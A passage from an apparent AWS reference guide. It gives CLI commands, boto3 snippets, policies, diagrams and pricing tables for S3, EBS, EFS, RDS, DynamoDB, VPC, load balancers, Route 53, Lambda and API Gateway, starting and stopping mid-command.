  --health-check-type ELB \
  --health-check-grace-period 300

# Create scaling policy (target tracking)
aws autoscaling put-scaling-policy \
  --auto-scaling-group-name my-asg \
  --policy-name cpu-target-tracking \
  --policy-type TargetTrackingScaling \
  --target-tracking-configuration '{
    "PredefinedMetricSpecification": {
      "PredefinedMetricType": "ASGAverageCPUUtilization"
    },
    "TargetValue": 70.0
  }'

# Describe Auto Scaling groups
aws autoscaling describe-auto-scaling-groups \
  --auto-scaling-group-names my-asg

# Update Auto Scaling group capacity
aws autoscaling set-desired-capacity \
  --auto-scaling-group-name my-asg \
  --desired-capacity 5

# Delete Auto Scaling group
aws autoscaling delete-auto-scaling-group \
  --auto-scaling-group-name my-asg \
  --force-delete

Class                   Use Case                    Retrieval      Cost
────────────────────────────────────────────────────────────────────────
Standard                Frequently accessed         Instant        $$$
Intelligent-Tiering     Unknown/changing patterns   Instant        $$+
Standard-IA             Infrequently accessed       Instant        $$
One Zone-IA             Non-critical, infrequent    Instant        $
Glacier Instant         Archive, instant retrieval  Instant        $
Glacier Flexible        Archive, min-hour retrieval Minutes-Hours  ¢¢
Glacier Deep Archive    Long-term archive (7-10yr)  12 hours       ¢

┌─────────────────────────────────────────────┐
│  Bucket: my-application-bucket              │
│  Region: us-east-1                          │
├─────────────────────────────────────────────┤
│                                              │
│  /images/                                   │
│    ├─ logo.png                              │
│    └─ banner.jpg                            │
│                                              │
│  /documents/                                │
│    ├─ report.pdf                            │
│    └─ invoice.xlsx                          │
│                                              │
│  /backups/                                  │
│    └─ database-backup-2024-01-01.sql       │
│                                              │
│  Features:                                  │
│  ├─ Versioning: Enabled                    │
│  ├─ Encryption: AES-256                    │
│  ├─ Lifecycle: Move to Glacier after 90d   │
│  ├─ Replication: Cross-region enabled      │
│  └─ Access Logs: Enabled                   │
└─────────────────────────────────────────────┘

# Create bucket
aws s3 mb s3://my-unique-bucket-name-12345

# List buckets
aws s3 ls

# Upload file
aws s3 cp local-file.txt s3://my-bucket/
aws s3 cp local-file.txt s3://my-bucket/folder/

# Upload directory recursively
aws s3 cp ./my-directory s3://my-bucket/path/ --recursive

# Download file
aws s3 cp s3://my-bucket/file.txt ./

# Sync local directory with S3 (like rsync)
aws s3 sync ./local-dir s3://my-bucket/remote-dir/
aws s3 sync s3://my-bucket/remote-dir/ ./local-dir

# List objects in bucket
aws s3 ls s3://my-bucket/
aws s3 ls s3://my-bucket/folder/ --recursive

# Delete object
aws s3 rm s3://my-bucket/file.txt

# Delete all objects in folder
aws s3 rm s3://my-bucket/folder/ --recursive

# Make object public
aws s3api put-object-acl \
  --bucket my-bucket \
  --key file.txt \
  --acl public-read

# Generate presigned URL (temporary access)
aws s3 presign s3://my-bucket/private-file.pdf --expires-in 3600

# Enable versioning
aws s3api put-bucket-versioning \
  --bucket my-bucket \
  --versioning-configuration Status=Enabled

# Enable server-side encryption
aws s3api put-bucket-encryption \
  --bucket my-bucket \
  --server-side-encryption-configuration '{
    "Rules": [{
      "ApplyServerSideEncryptionByDefault": {
        "SSEAlgorithm": "AES256"
      }
    }]
  }'

# Set lifecycle policy
aws s3api put-bucket-lifecycle-configuration \
  --bucket my-bucket \
  --lifecycle-configuration file://lifecycle.json

{
  "Rules": [
    {
      "Id": "MoveOldFilesToGlacier",
      "Status": "Enabled",
      "Filter": {
        "Prefix": "logs/"
      },
      "Transitions": [
        {
          "Days": 30,
          "StorageClass": "STANDARD_IA"
        },
        {
          "Days": 90,
          "StorageClass": "GLACIER"
        }
      ],
      "Expiration": {
        "Days": 365
      }
    },
    {
      "Id": "DeleteOldVersions",
      "Status": "Enabled",
      "NoncurrentVersionExpiration": {
        "NoncurrentDays": 30
      }
    }
  ]
}

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "PublicReadGetObject",
      "Effect": "Allow",
      "Principal": "*",
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::my-bucket/public/*"
    },
    {
      "Sid": "DenyInsecureTransport",
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:*",
      "Resource": [
        "arn:aws:s3:::my-bucket",
        "arn:aws:s3:::my-bucket/*"
      ],
      "Condition": {
        "Bool": {
          "aws:SecureTransport": "false"
        }
      }
    }
  ]
}

import boto3
from botocore.exceptions import ClientError

# Create S3 client
s3 = boto3.client('s3')

# Upload file
def upload_file(file_name, bucket, object_name=None):
    if object_name is None:
        object_name = file_name

    try:
        s3.upload_file(file_name, bucket, object_name)
        print(f"Uploaded {file_name} to {bucket}/{object_name}")
    except ClientError as e:
        print(f"Error: {e}")
        return False
    return True

# Download file
def download_file(bucket, object_name, file_name):
    try:
        s3.download_file(bucket, object_name, file_name)
        print(f"Downloaded {bucket}/{object_name} to {file_name}")
    except ClientError as e:
        print(f"Error: {e}")
        return False
    return True

# List objects
def list_objects(bucket, prefix=''):
    try:
        response = s3.list_objects_v2(Bucket=bucket, Prefix=prefix)
        if 'Contents' in response:
            for obj in response['Contents']:
                print(f"{obj['Key']}: {obj['Size']} bytes")
    except ClientError as e:
        print(f"Error: {e}")

# Generate presigned URL
def create_presigned_url(bucket, object_name, expiration=3600):
    try:
        url = s3.generate_presigned_url(
            'get_object',
            Params={'Bucket': bucket, 'Key': object_name},
            ExpiresIn=expiration
        )
        return url
    except ClientError as e:
        print(f"Error: {e}")
        return None

# Usage
upload_file('local-file.txt', 'my-bucket', 'uploads/file.txt')
download_file('my-bucket', 'uploads/file.txt', 'downloaded-file.txt')
list_objects('my-bucket', 'uploads/')
url = create_presigned_url('my-bucket', 'uploads/file.txt')
print(f"Presigned URL: {url}")

Type         IOPS          Throughput    Use Case              Cost
────────────────────────────────────────────────────────────────────
gp3          3,000-16,000  125-1000 MB/s General purpose       $$
gp2          3,000-16,000  Baseline      General purpose       $$
io2          64,000+       1,000 MB/s    Mission-critical DB   $$$$
io1          32,000+       500 MB/s      High-performance DB   $$$
st1          500           500 MB/s      Big data, logs        $
sc1          250           250 MB/s      Cold data             ¢

# Create EBS volume
aws ec2 create-volume \
  --volume-type gp3 \
  --size 100 \
  --availability-zone us-east-1a \
  --tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=MyVolume}]'

# List volumes
aws ec2 describe-volumes

# Attach volume to instance
aws ec2 attach-volume \
  --volume-id vol-0123456789abcdef0 \
  --instance-id i-1234567890abcdef0 \
  --device /dev/sdf

# Detach volume
aws ec2 detach-volume --volume-id vol-0123456789abcdef0

# Create snapshot
aws ec2 create-snapshot \
  --volume-id vol-0123456789abcdef0 \
  --description "Backup of MyVolume"

# List snapshots
aws ec2 describe-snapshots --owner-ids self

# Create volume from snapshot
aws ec2 create-volume \
  --snapshot-id snap-0123456789abcdef0 \
  --availability-zone us-east-1a

# Delete snapshot
aws ec2 delete-snapshot --snapshot-id snap-0123456789abcdef0

# Delete volume
aws ec2 delete-volume --volume-id vol-0123456789abcdef0

# Create EFS file system
aws efs create-file-system \
  --performance-mode generalPurpose \
  --throughput-mode bursting \
  --encrypted \
  --tags Key=Name,Value=MyEFS

# Create mount target
aws efs create-mount-target \
  --file-system-id fs-0123456789abcdef0 \
  --subnet-id subnet-0123456789abcdef0 \
  --security-groups sg-0123456789abcdef0

# Mount EFS on EC2 instance
sudo mkdir /mnt/efs
sudo mount -t nfs4 -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2 \
  fs-0123456789abcdef0.efs.us-east-1.amazonaws.com:/ /mnt/efs

# Add to /etc/fstab for persistent mount
echo "fs-0123456789abcdef0.efs.us-east-1.amazonaws.com:/ /mnt/efs nfs4 defaults,_netdev 0 0" | sudo tee -a /etc/fstab

Engine          Versions        Use Case
───────────────────────────────────────────────────────
MySQL           5.7, 8.0        Web applications
PostgreSQL      11-15           Advanced features
MariaDB         10.3-10.6       MySQL alternative
Oracle          12c, 19c        Enterprise apps
SQL Server      2016-2022       Microsoft stack
Amazon Aurora   MySQL/PG compat High performance

┌─────────────────────────────────────────────────┐
│             Application Servers                  │
└───────────────────┬─────────────────────────────┘
                    │
         ┌──────────▼──────────┐
         │   RDS Endpoint      │
         │   (DNS CNAME)       │
         └──────────┬──────────┘
                    │
    ┌───────────────┼───────────────┐
    │               │               │
┌───▼────┐    Sync Repl    ┌───────▼─────┐
│Primary │◄──────────────►│  Standby    │
│Instance│                 │  Instance   │
│(AZ-A)  │                 │  (AZ-B)     │
└────────┘                 └─────────────┘
    │                            │
    │      Automatic Failover    │
    └────────────────────────────┘

# Create RDS instance
aws rds create-db-instance \
  --db-instance-identifier mydb \
  --db-instance-class db.t3.micro \
  --engine postgres \
  --engine-version 14.7 \
  --master-username admin \
  --master-user-password MySecurePassword123 \
  --allocated-storage 20 \
  --storage-type gp3 \
  --vpc-security-group-ids sg-0123456789abcdef0 \
  --db-subnet-group-name my-db-subnet-group \
  --backup-retention-period 7 \
  --preferred-backup-window "03:00-04:00" \
  --preferred-maintenance-window "sun:04:00-sun:05:00" \
  --multi-az \
  --storage-encrypted \
  --enable-cloudwatch-logs-exports '["postgresql"]'

# List RDS instances
aws rds describe-db-instances

# Get specific instance details
aws rds describe-db-instances \
  --db-instance-identifier mydb \
  --query 'DBInstances[0].[DBInstanceIdentifier,DBInstanceStatus,Endpoint.Address,Endpoint.Port]'

# Create read replica
aws rds create-db-instance-read-replica \
  --db-instance-identifier mydb-replica \
  --source-db-instance-identifier mydb \
  --db-instance-class db.t3.micro \
  --availability-zone us-east-1b

# Create snapshot
aws rds create-db-snapshot \
  --db-instance-identifier mydb \
  --db-snapshot-identifier mydb-snapshot-$(date +%Y%m%d)

# Restore from snapshot
aws rds restore-db-instance-from-db-snapshot \
  --db-instance-identifier mydb-restored \
  --db-snapshot-identifier mydb-snapshot-20240101

# Modify instance
aws rds modify-db-instance \
  --db-instance-identifier mydb \
  --db-instance-class db.t3.small \
  --apply-immediately

# Stop instance (up to 7 days)
aws rds stop-db-instance --db-instance-identifier mydb

# Start instance
aws rds start-db-instance --db-instance-identifier mydb

# Delete instance
aws rds delete-db-instance \
  --db-instance-identifier mydb \
  --skip-final-snapshot
  # Or with final snapshot:
  # --final-db-snapshot-identifier mydb-final-snapshot

# Connect to RDS
psql -h mydb.c9akciq32.us-east-1.rds.amazonaws.com -U admin -d postgres
mysql -h mydb.c9akciq32.us-east-1.rds.amazonaws.com -u admin -p

Table: Users
┌──────────────┬─────────────┬───────────┬─────────┬──────────┐
│ UserId (PK)  │ Email (SK)  │ Name      │ Age     │ Status   │
├──────────────┼─────────────┼───────────┼─────────┼──────────┤
│ user-001     │ a@ex.com    │ Alice     │ 30      │ active   │
│ user-002     │ b@ex.com    │ Bob       │ 25      │ active   │
│ user-003     │ c@ex.com    │ Charlie   │ 35      │ inactive │
└──────────────┴─────────────┴───────────┴─────────┴──────────┘

PK = Partition Key (required, determines data distribution)
SK = Sort Key (optional, enables range queries)

Mode          Billing      Use Case                Cost
─────────────────────────────────────────────────────────────
On-Demand     Per request  Unpredictable traffic   $$$$
Provisioned   Per hour     Predictable traffic     $$-$$$
  + Auto      Per hour     Variable patterns       $$-$$$
    Scaling

# Create table
aws dynamodb create-table \
  --table-name Users \
  --attribute-definitions \
    AttributeName=UserId,AttributeType=S \
    AttributeName=Email,AttributeType=S \
  --key-schema \
    AttributeName=UserId,KeyType=HASH \
    AttributeName=Email,KeyType=RANGE \
  --billing-mode PAY_PER_REQUEST \
  --tags Key=Environment,Value=Production

# List tables
aws dynamodb list-tables

# Describe table
aws dynamodb describe-table --table-name Users

# Put item
aws dynamodb put-item \
  --table-name Users \
  --item '{
    "UserId": {"S": "user-001"},
    "Email": {"S": "alice@example.com"},
    "Name": {"S": "Alice"},
    "Age": {"N": "30"},
    "Status": {"S": "active"}
  }'

# Get item
aws dynamodb get-item \
  --table-name Users \
  --key '{
    "UserId": {"S": "user-001"},
    "Email": {"S": "alice@example.com"}
  }'

# Query items (by partition key)
aws dynamodb query \
  --table-name Users \
  --key-condition-expression "UserId = :userId" \
  --expression-attribute-values '{
    ":userId": {"S": "user-001"}
  }'

# Scan table (read all items - expensive!)
aws dynamodb scan --table-name Users

# Update item
aws dynamodb update-item \
  --table-name Users \
  --key '{
    "UserId": {"S": "user-001"},
    "Email": {"S": "alice@example.com"}
  }' \
  --update-expression "SET #status = :newStatus, Age = Age + :inc" \
  --expression-attribute-names '{"#status": "Status"}' \
  --expression-attribute-values '{
    ":newStatus": {"S": "inactive"},
    ":inc": {"N": "1"}
  }'

# Delete item
aws dynamodb delete-item \
  --table-name Users \
  --key '{
    "UserId": {"S": "user-001"},
    "Email": {"S": "alice@example.com"}
  }'

# Batch write
aws dynamodb batch-write-item --request-items file://batch-write.json

# Create global secondary index
aws dynamodb update-table \
  --table-name Users \
  --attribute-definitions AttributeName=Status,AttributeType=S \
  --global-secondary-index-updates '[{
    "Create": {
      "IndexName": "StatusIndex",
      "KeySchema": [{"AttributeName": "Status", "KeyType": "HASH"}],
      "Projection": {"ProjectionType": "ALL"},
      "ProvisionedThroughput": {
        "ReadCapacityUnits": 5,
        "WriteCapacityUnits": 5
      }
    }
  }]'

# Enable Point-in-Time Recovery
aws dynamodb update-continuous-backups \
  --table-name Users \
  --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

import boto3
from boto3.dynamodb.conditions import Key, Attr
from decimal import Decimal

# Create DynamoDB resource
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('Users')

# Put item
def create_user(user_id, email, name, age):
    response = table.put_item(
        Item={
            'UserId': user_id,
            'Email': email,
            'Name': name,
            'Age': age,
            'Status': 'active'
        }
    )
    return response

# Get item
def get_user(user_id, email):
    response = table.get_item(
        Key={
            'UserId': user_id,
            'Email': email
        }
    )
    return response.get('Item')

# Query by partition key
def get_user_emails(user_id):
    response = table.query(
        KeyConditionExpression=Key('UserId').eq(user_id)
    )
    return response['Items']

# Query with sort key condition
def get_user_by_email_prefix(user_id, email_prefix):
    response = table.query(
        KeyConditionExpression=Key('UserId').eq(user_id) & 
                               Key('Email').begins_with(email_prefix)
    )
    return response['Items']

# Scan with filter
def get_active_users():
    response = table.scan(
        FilterExpression=Attr('Status').eq('active')
    )
    return response['Items']

# Update item
def update_user_status(user_id, email, new_status):
    response = table.update_item(
        Key={
            'UserId': user_id,
            'Email': email
        },
        UpdateExpression='SET #status = :status',
        ExpressionAttributeNames={
            '#status': 'Status'
        },
        ExpressionAttributeValues={
            ':status': new_status
        },
        ReturnValues='ALL_NEW'
    )
    return response['Attributes']

# Batch write
def batch_create_users(users):
    with table.batch_writer() as batch:
        for user in users:
            batch.put_item(Item=user)

# Usage
create_user('user-001', 'alice@example.com', 'Alice', 30)
user = get_user('user-001', 'alice@example.com')
print(user)

emails = get_user_emails('user-001')
update_user_status('user-001', 'alice@example.com', 'inactive')

# Create Redis cluster
aws elasticache create-cache-cluster \
  --cache-cluster-id my-redis-cluster \
  --cache-node-type cache.t3.micro \
  --engine redis \
  --engine-version 7.0 \
  --num-cache-nodes 1 \
  --cache-subnet-group-name my-cache-subnet-group \
  --security-group-ids sg-0123456789abcdef0

# Create Redis replication group (cluster mode)
aws elasticache create-replication-group \
  --replication-group-id my-redis-cluster \
  --replication-group-description "My Redis cluster" \
  --engine redis \
  --cache-node-type cache.t3.micro \
  --num-cache-clusters 3 \
  --automatic-failover-enabled \
  --multi-az-enabled

# Describe clusters
aws elasticache describe-cache-clusters \
  --show-cache-node-info

# Get endpoint
aws elasticache describe-cache-clusters \
  --cache-cluster-id my-redis-cluster \
  --query 'CacheClusters[0].CacheNodes[0].Endpoint'

┌─────────────────────────────────────────────────────────────┐
│  VPC: 10.0.0.0/16                                           │
│  Region: us-east-1                                          │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  ┌───────────────────────────┐  ┌──────────────────────┐   │
│  │ Public Subnet (AZ-A)      │  │ Public Subnet (AZ-B) │   │
│  │ 10.0.1.0/24               │  │ 10.0.2.0/24          │   │
│  │                           │  │                      │   │
│  │ ┌─────┐ ┌──────┐         │  │ ┌─────┐ ┌──────┐    │   │
│  │ │ NAT │ │ ALB  │         │  │ │ NAT │ │ ALB  │    │   │
│  │ └─────┘ └──────┘         │  │ └─────┘ └──────┘    │   │
│  └───────────┬───────────────┘  └──────────┬───────────┘   │
│              │                              │               │
│              │     Internet Gateway         │               │
│              └──────────────┬───────────────┘               │
│                             │                               │
│  ┌───────────────────────────┐  ┌──────────────────────┐   │
│  │ Private Subnet (AZ-A)     │  │ Private Subnet (AZ-B)│   │
│  │ 10.0.11.0/24              │  │ 10.0.12.0/24         │   │
│  │                           │  │                      │   │
│  │ ┌─────┐ ┌─────┐          │  │ ┌─────┐ ┌─────┐     │   │
│  │ │ EC2 │ │ EC2 │          │  │ │ EC2 │ │ EC2 │     │   │
│  │ └─────┘ └─────┘          │  │ └─────┘ └─────┘     │   │
│  └───────────────────────────┘  └──────────────────────┘   │
│                                                              │
│  ┌───────────────────────────┐  ┌──────────────────────┐   │
│  │ Database Subnet (AZ-A)    │  │ Database Subnet (AZ-B│   │
│  │ 10.0.21.0/24              │  │ 10.0.22.0/24         │   │
│  │                           │  │                      │   │
│  │ ┌─────────┐               │  │ ┌─────────┐         │   │
│  │ │   RDS   │               │  │ │   RDS   │         │   │
│  │ └─────────┘               │  │ └─────────┘         │   │
│  └───────────────────────────┘  └──────────────────────┘   │
│                                                              │
└─────────────────────────────────────────────────────────────┘

# Create VPC
aws ec2 create-vpc \
  --cidr-block 10.0.0.0/16 \
  --tag-specifications 'ResourceType=vpc,Tags=[{Key=Name,Value=MyVPC}]'

# Create Internet Gateway
aws ec2 create-internet-gateway \
  --tag-specifications 'ResourceType=internet-gateway,Tags=[{Key=Name,Value=MyIGW}]'

# Attach Internet Gateway to VPC
aws ec2 attach-internet-gateway \
  --internet-gateway-id igw-0123456789abcdef0 \
  --vpc-id vpc-0123456789abcdef0

# Create public subnet
aws ec2 create-subnet \
  --vpc-id vpc-0123456789abcdef0 \
  --cidr-block 10.0.1.0/24 \
  --availability-zone us-east-1a \
  --tag-specifications 'ResourceType=subnet,Tags=[{Key=Name,Value=PublicSubnet-AZ-A}]'

# Create private subnet
aws ec2 create-subnet \
  --vpc-id vpc-0123456789abcdef0 \
  --cidr-block 10.0.11.0/24 \
  --availability-zone us-east-1a \
  --tag-specifications 'ResourceType=subnet,Tags=[{Key=Name,Value=PrivateSubnet-AZ-A}]'

# Create route table
aws ec2 create-route-table \
  --vpc-id vpc-0123456789abcdef0 \
  --tag-specifications 'ResourceType=route-table,Tags=[{Key=Name,Value=PublicRouteTable}]'

# Create route to Internet Gateway
aws ec2 create-route \
  --route-table-id rtb-0123456789abcdef0 \
  --destination-cidr-block 0.0.0.0/0 \
  --gateway-id igw-0123456789abcdef0

# Associate route table with subnet
aws ec2 associate-route-table \
  --route-table-id rtb-0123456789abcdef0 \
  --subnet-id subnet-0123456789abcdef0

# Create NAT Gateway (for private subnet internet access)
# First, allocate Elastic IP
aws ec2 allocate-address --domain vpc

# Create NAT Gateway in public subnet
aws ec2 create-nat-gateway \
  --subnet-id subnet-0123456789abcdef0 \
  --allocation-id eipalloc-0123456789abcdef0 \
  --tag-specifications 'ResourceType=natgateway,Tags=[{Key=Name,Value=MyNATGateway}]'

# Create route to NAT Gateway for private subnet
aws ec2 create-route \
  --route-table-id rtb-private-0123456789abcdef0 \
  --destination-cidr-block 0.0.0.0/0 \
  --nat-gateway-id nat-0123456789abcdef0

# Create security group
aws ec2 create-security-group \
  --group-name web-server-sg \
  --description "Security group for web servers" \
  --vpc-id vpc-0123456789abcdef0

# Add inbound rules
aws ec2 authorize-security-group-ingress \
  --group-id sg-0123456789abcdef0 \
  --protocol tcp \
  --port 80 \
  --cidr 0.0.0.0/0

aws ec2 authorize-security-group-ingress \
  --group-id sg-0123456789abcdef0 \
  --protocol tcp \
  --port 443 \
  --cidr 0.0.0.0/0

aws ec2 authorize-security-group-ingress \
  --group-id sg-0123456789abcdef0 \
  --protocol tcp \
  --port 22 \
  --cidr 10.0.0.0/16

# List VPCs
aws ec2 describe-vpcs

# List subnets
aws ec2 describe-subnets --filters "Name=vpc-id,Values=vpc-0123456789abcdef0"

# List security groups
aws ec2 describe-security-groups --filters "Name=vpc-id,Values=vpc-0123456789abcdef0"

Type                Use Case                    OSI Layer    Cost
──────────────────────────────────────────────────────────────────
Application (ALB)   HTTP/HTTPS, path routing   Layer 7      $$
Network (NLB)       TCP/UDP, ultra performance Layer 4      $$
Gateway (GWLB)      Third-party appliances     Layer 3      $$$
Classic (CLB)       Legacy (deprecated)        Layer 4/7    $

                         Internet
                             │
                    ┌────────▼────────┐
                    │ Application     │
                    │ Load Balancer   │
                    │ (ALB)           │
                    └────────┬────────┘
                             │
          ┌──────────────────┼──────────────────┐
          │                  │                  │
    ┌─────▼─────┐      ┌─────▼─────┐     ┌─────▼─────┐
    │  Target   │      │  Target   │     │  Target   │
    │  Group 1  │      │  Group 2  │     │  Group 3  │
    │           │      │           │     │           │
    │ /api/*    │      │ /images/* │     │  /*       │
    └───────────┘      └───────────┘     └───────────┘
         │                  │                  │
    API Servers      Image Service     Web Servers

# Create Application Load Balancer
aws elbv2 create-load-balancer \
  --name my-alb \
  --subnets subnet-0123456789abcdef0 subnet-0123456789abcdef1 \
  --security-groups sg-0123456789abcdef0 \
  --scheme internet-facing \
  --type application \
  --ip-address-type ipv4

# Create target group
aws elbv2 create-target-group \
  --name my-targets \
  --protocol HTTP \
  --port 80 \
  --vpc-id vpc-0123456789abcdef0 \
  --health-check-path /health \
  --health-check-interval-seconds 30 \
  --health-check-timeout-seconds 5 \
  --healthy-threshold-count 2 \
  --unhealthy-threshold-count 2

# Register targets
aws elbv2 register-targets \
  --target-group-arn arn:aws:elasticloadbalancing:region:account-id:targetgroup/my-targets/73e2d6bc24d8a067 \
  --targets Id=i-1234567890abcdef0 Id=i-0987654321abcdef0

# Create listener
aws elbv2 create-listener \
  --load-balancer-arn arn:aws:elasticloadbalancing:region:account-id:loadbalancer/app/my-alb/50dc6c495c0c9188 \
  --protocol HTTP \
  --port 80 \
  --default-actions Type=forward,TargetGroupArn=arn:aws:elasticloadbalancing:region:account-id:targetgroup/my-targets/73e2d6bc24d8a067

# Create HTTPS listener with certificate
aws elbv2 create-listener \
  --load-balancer-arn arn:aws:elasticloadbalancing:region:account-id:loadbalancer/app/my-alb/50dc6c495c0c9188 \
  --protocol HTTPS \
  --port 443 \
  --certificates CertificateArn=arn:aws:acm:region:account-id:certificate/12345678-1234-1234-1234-123456789012 \
  --default-actions Type=forward,TargetGroupArn=arn:aws:elasticloadbalancing:region:account-id:targetgroup/my-targets/73e2d6bc24d8a067

# Create path-based routing rule
aws elbv2 create-rule \
  --listener-arn arn:aws:elasticloadbalancing:region:account-id:listener/app/my-alb/50dc6c495c0c9188/f2f7dc8efc522ab2 \
  --priority 10 \
  --conditions Field=path-pattern,Values='/api/*' \
  --actions Type=forward,TargetGroupArn=arn:aws:elasticloadbalancing:region:account-id:targetgroup/api-targets/73e2d6bc24d8a067

# Describe load balancers
aws elbv2 describe-load-balancers

# Describe target health
aws elbv2 describe-target-health \
  --target-group-arn arn:aws:elasticloadbalancing:region:account-id:targetgroup/my-targets/73e2d6bc24d8a067

# List hosted zones
aws route53 list-hosted-zones

# Create hosted zone
aws route53 create-hosted-zone \
  --name example.com \
  --caller-reference $(date +%s)

# Create A record
aws route53 change-resource-record-sets \
  --hosted-zone-id Z1234567890ABC \
  --change-batch '{
    "Changes": [{
      "Action": "CREATE",
      "ResourceRecordSet": {
        "Name": "www.example.com",
        "Type": "A",
        "TTL": 300,
        "ResourceRecords": [{"Value": "192.0.2.1"}]
      }
    }]
  }'

# Create CNAME record
aws route53 change-resource-record-sets \
  --hosted-zone-id Z1234567890ABC \
  --change-batch '{
    "Changes": [{
      "Action": "CREATE",
      "ResourceRecordSet": {
        "Name": "blog.example.com",
        "Type": "CNAME",
        "TTL": 300,
        "ResourceRecords": [{"Value": "www.example.com"}]
      }
    }]
  }'

# Create alias record (to ALB)
aws route53 change-resource-record-sets \
  --hosted-zone-id Z1234567890ABC \
  --change-batch '{
    "Changes": [{
      "Action": "CREATE",
      "ResourceRecordSet": {
        "Name": "api.example.com",
        "Type": "A",
        "AliasTarget": {
          "HostedZoneId": "Z35SXDOTRQ7X7K",
          "DNSName": "my-alb-1234567890.us-east-1.elb.amazonaws.com",
          "EvaluateTargetHealth": true
        }
      }
    }]
  }'

# Health check for failover
aws route53 create-health-check \
  --health-check-config \
    IPAddress=192.0.2.1,Port=80,Type=HTTP,ResourcePath=/health,RequestInterval=30,FailureThreshold=3

┌────────────────────────────────────────────────┐
│            Event Sources                       │
├────────────────────────────────────────────────┤
│                                                 │
│  API Gateway │ S3 │ DynamoDB │ SQS │ EventBridge │
│                                                 │
└──────────────┬──────────┬──────────┬───────────┘
               │          │          │
          ┌────▼────┐┌────▼────┐┌───▼──────┐
          │ Lambda  ││ Lambda  ││  Lambda  │
          │Function ││Function ││ Function │
          │   1     ││    2    ││     3    │
          └────┬────┘└────┬────┘└────┬─────┘
               │          │          │
          ┌────▼──────────▼──────────▼─────┐
          │       Destinations              │
          │                                  │
          │  DynamoDB │ S3 │ SNS │ SQS     │
          └──────────────────────────────────┘

import json
import boto3

s3 = boto3.client('s3')
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('MyTable')

def lambda_handler(event, context):
    """
    Lambda function handler

    Args:
        event: Event data passed to the function
        context: Runtime information

    Returns:
        Response object
    """

    # Log the event
    print(f"Event: {json.dumps(event)}")

    # Example: Process S3 event
    if 'Records' in event:
        for record in event['Records']:
            bucket = record['s3']['bucket']['name']
            key = record['s3']['object']['key']

            print(f"Processing {key} from {bucket}")

            # Process the file
            try:
                response = s3.get_object(Bucket=bucket, Key=key)
                content = response['Body'].read().decode('utf-8')

                # Store metadata in DynamoDB
                table.put_item(
                    Item={
                        'file_key': key,
                        'bucket': bucket,
                        'size': response['ContentLength'],
                        'content_type': response['ContentType']
                    }
                )

                return {
                    'statusCode': 200,
                    'body': json.dumps('Successfully processed file')
                }
            except Exception as e:
                print(f"Error: {str(e)}")
                return {
                    'statusCode': 500,
                    'body': json.dumps(f'Error processing file: {str(e)}')
                }

    # Example: Process API Gateway event
    if 'httpMethod' in event:
        http_method = event['httpMethod']
        path = event['path']

        if http_method == 'GET' and path == '/items':
            # Retrieve items from DynamoDB
            response = table.scan()

            return {
                'statusCode': 200,
                'headers': {
                    'Content-Type': 'application/json',
                    'Access-Control-Allow-Origin': '*'
                },
                'body': json.dumps(response['Items'])
            }

        elif http_method == 'POST' and path == '/items':
            # Create new item
            body = json.loads(event['body'])

            table.put_item(Item=body)

            return {
                'statusCode': 201,
                'headers': {
                    'Content-Type': 'application/json',
                    'Access-Control-Allow-Origin': '*'
                },
                'body': json.dumps({'message': 'Item created'})
            }

    return {
        'statusCode': 400,
        'body': json.dumps('Invalid request')
    }

# Create Lambda function
zip function.zip lambda_function.py

aws lambda create-function \
  --function-name my-function \
  --runtime python3.11 \
  --role arn:aws:iam::123456789012:role/lambda-execution-role \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://function.zip \
  --timeout 30 \
  --memory-size 256 \
  --environment Variables={ENV=production,DB_TABLE=MyTable}

# Update function code
aws lambda update-function-code \
  --function-name my-function \
  --zip-file fileb://function.zip

# Update function configuration
aws lambda update-function-configuration \
  --function-name my-function \
  --timeout 60 \
  --memory-size 512

# Invoke function synchronously
aws lambda invoke \
  --function-name my-function \
  --payload '{"key": "value"}' \
  response.json

cat response.json

# Invoke function asynchronously
aws lambda invoke \
  --function-name my-function \
  --invocation-type Event \
  --payload '{"key": "value"}' \
  response.json

# List functions
aws lambda list-functions

# Get function details
aws lambda get-function --function-name my-function

# Add S3 trigger
aws lambda add-permission \
  --function-name my-function \
  --statement-id s3-invoke \
  --action lambda:InvokeFunction \
  --principal s3.amazonaws.com \
  --source-arn arn:aws:s3:::my-bucket

aws s3api put-bucket-notification-configuration \
  --bucket my-bucket \
  --notification-configuration '{
    "LambdaFunctionConfigurations": [{
      "LambdaFunctionArn": "arn:aws:lambda:region:account-id:function:my-function",
      "Events": ["s3:ObjectCreated:*"],
      "Filter": {
        "Key": {
          "FilterRules": [{
            "Name": "prefix",
            "Value": "uploads/"
          }]
        }
      }
    }]
  }'

# View logs
aws logs tail /aws/lambda/my-function --follow

# Create layer
zip layer.zip -r python/

aws lambda publish-layer-version \
  --layer-name my-layer \
  --description "Common dependencies" \
  --zip-file fileb://layer.zip \
  --compatible-runtimes python3.11

# Add layer to function
aws lambda update-function-configuration \
  --function-name my-function \
  --layers arn:aws:lambda:region:account-id:layer:my-layer:1

# Delete function
aws lambda delete-function --function-name my-function

Component               Price (us-east-1)
─────────────────────────────────────────────────
Requests                $0.20 per 1M requests
Duration (x86)          $0.0000166667 per GB-second
Duration (ARM/Graviton) $0.0000133334 per GB-second
Free Tier               1M requests + 400,000 GB-seconds/month

Example: 1 million requests, 512 MB, 1 second each
= 1M * $0.20/1M = $0.20 (requests)
+ 1M * 0.5 GB * 1 sec * $0.0000166667 = $8.33 (duration)
= $8.53/month (minus free tier)

# Create REST API
aws apigateway create-rest-api \
  --name "My API" \
  --description "My REST API" \
  --endpoint-configuration types=REGIONAL

# Get root resource
aws apigateway get-resources \
  --rest-api-id abc123

# Create resource
aws apigateway create-resource \
  --rest-api-id abc123 \
  --parent-id xyz789 \
  --path-part items

# Create method
aws apigateway put-method \
  --rest-api-id abc123 \
  --resource-id uvw456 \
  --http-method GET \
  --authorization-type NONE

# Create Lambda integration
aws apigateway put-integration \
  --rest-api-id abc123 \
  --resource-id uvw456 \
  --http-method GET \
  --type AWS_PROXY \
  --integration-http-method POST \
